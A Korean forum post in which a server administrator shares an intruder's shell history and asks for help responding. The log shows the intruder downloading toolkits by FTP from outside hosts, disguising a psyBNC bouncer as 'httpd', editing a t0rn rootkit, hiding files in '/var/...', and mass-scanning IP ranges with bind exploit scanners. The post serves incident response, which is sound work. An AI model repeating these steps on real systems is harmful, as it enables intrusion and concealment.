초대하지도 않은 어떤 넘이 다녀 갔습니다. 일부 추적해서 삭제하고
복구한다고는 했습니다만......그래도...영....
고수님들 한번 봐주시고 대응방법을 조언해주세요....어흐흑....
다음은 그넘이 작업한것입니다.
---------------------------------
632 cd /usr/lib
633 ftp ftp.tripod.com
634 ftp ftp.tripod.com
635 tar -zxvf diaa.psybnc
636 rm -rf diaa.psybnc
637 cd psybnc
638 mv httpd psybnc
639 basb
640 ./psybnc
641 cd /var/...
642 ls
643 cd
644 ftp ftp.home.ro
645 tar -zxvf lk.tgz
646 cd last
647 ls
648 pico install
649 cd /var/...
650 ls
651 cd bindscan/
652 ./r00t 195 120
653 cd last
654 pico install
655 cd ..
656 ls
657 tar cfz GUMMY last
658 ls
659 rm -rf last/ lk.tgz
660 ftp ftp.home.ro
661 clear
662 ftp ftp.home.ro
663 ftp ftp.home.ro
664 ls
665 rm -rf GUMMY
666 mkdir /var/...
667 cd /var/...
668 ls
669 ftp ftp.home.ro
670 tar -zxvf bind.tar
671 rm -rf bind.tar
672 cd bindscan/
673 ./r00t 195 20
674 ./r00t 12 30
675 w
676 cd /var/...
677 ls
678 cd bindscan/
679 ./r00t 211 29 0 1
680 ./r00t 193 229 0 1
681 ./r00t 65 100 0 1
682 w
683 cd /var/...
684 ls
685 cd bindscan/
686 ./r00t 192 0 0 1
687 cd /var/...
688 ls
689 cd bindscan/
690 ./r00t 193 100
691 cd /var/...
692 ls
693 cd bindscan/
694 ./r00t 199 30
695 ./r00t 210 100
696 ./r00t 211 60
697 ./r00t 211 50
698 cd /var/..
699 ls
700 cd /var/...
701 ls
702 ftp ftp.home.ro
703 tar -zxvf hAx0r.tar.gz
704 rm -rf hAx0r.tar.gz
705 cd scan/
706 ./x 193 225
707 cd /var/...
708 ls
709 cd scan/
710 ./x 194 40
711 w
712 telnet 64.205.98.253
713 telnet 64.205.98.253
714 telnet 63.69.102.194
715 telnet 210.81.137.103
716 cd /var/...
717 ftp ftp.go.ro
718 ls
719 tar zxf rkd.tar.gz
720 ls
721 cd rk
722 pico t0rn
723 pico hack
724 cd ..
725 tar cfz rkd.tgz rk
726 ls
727 rm -rf rk rkd.tar.gz
728 ftp ftp.go.ro
729 ftp ftp.home.ro
730 ftp ftp.home.ro
731 ls
732 rm -rf rkd.tgz
733 telnet 210.81.137.103
734 telnet 210.81.137.103
735 telnet 210.81.137.103
736 ls
737 cd bin
738 cd bindscan/
739 ./r00t 196 10 0 1
740 ./r00t 211 10 0 1
741 cd ..
742 ls
743 telnet 142.165.239.25
744 telnet 63.125.202.219
745 telnet 66.26.103.111
746 w
747 clear
748 cd /var/...
749 ls
750 cd bindscan
751 ./r00t 163
752 ./r00t 24 204 0 1
753 exit
754 cd /var/...
755 ls
756 cd bindscan
757 ./r00t 63 100 0 1
758 ./r00t 150 245 41 1
759 ./r00t 211 250 0 1
760 ./r00t 199
761 ./r00t 204 129 0 1
762 ./r00t 212 245 0 1
763 cd /var/...
764 ls
765 cd scan
766 ./x 63 45 0 1
767 /x 168 200 0 1
768 ./x 168 200 0 1
769 ./x 211 184 0 1
770 exit
771 cd /var/...
772 ls
773 cd bindscan/
774 ./r00t 211 0 0 1
775 ./r00t 147 83
776 cd /var/...
777 ls
778 cd scan
779 ./x 194 129 0 1
780 lsat | more
781 last | more
782 exit
783 export PATH="."
784 httpd
785 exit
786 export PATH="."
787 httpd
788 exit
789 cd /usr/lib
790 cd psybnc
791 bash
792 mv psybnc httpd
793 bash
794 pico psybnc.pid
795 ls
796 locate scna
797 locate scan
798 cd /usr/man/man1
799 mkdir muie.tar.gz
800 cd muie.tar.gz
801 ftp -v ftp.home.ro
802 tar zxfv luckroot.tar
803 ls
804 rm -rf luckroot.tar
805 cd luckroot/
806 ./luckgo 211 20
807 ls
808 cd /usr/man/man1
809 mkdir muie.tar.gz
810 mkdir pula.tar.gz
811 cd pula.tar.gz
812 ftp -v ftp.home.or
813 ftp -v ftp.home.or
814 ftp -v ftp.home.or
815 ftp ftp.home.or
816 locate luckroot
817 locate scan
818 ftp -v ftp.home.ro
819 ls
820 tar zxfv luckroot.tar
821 rm -rf luckroot.tar
822 cd luckroot/
823 ./luckgo 215 60
824 ./luckgo 211 100
825 cd /var/spool/mail/
826 ls
827 pico root
828 cd /usr/man/man1/pula.tar.gz
829 cd luckroot
830 ./luckgo 195 70
831 reboot
832 mc
833 ftp 2xx.xx.xx.xxx
834 reboot
835 mc
836 reboot
837 fF
838 mc
839 cd ..
840 cd /etc
841 ls
842 cat ftphost
843 cat ftphosts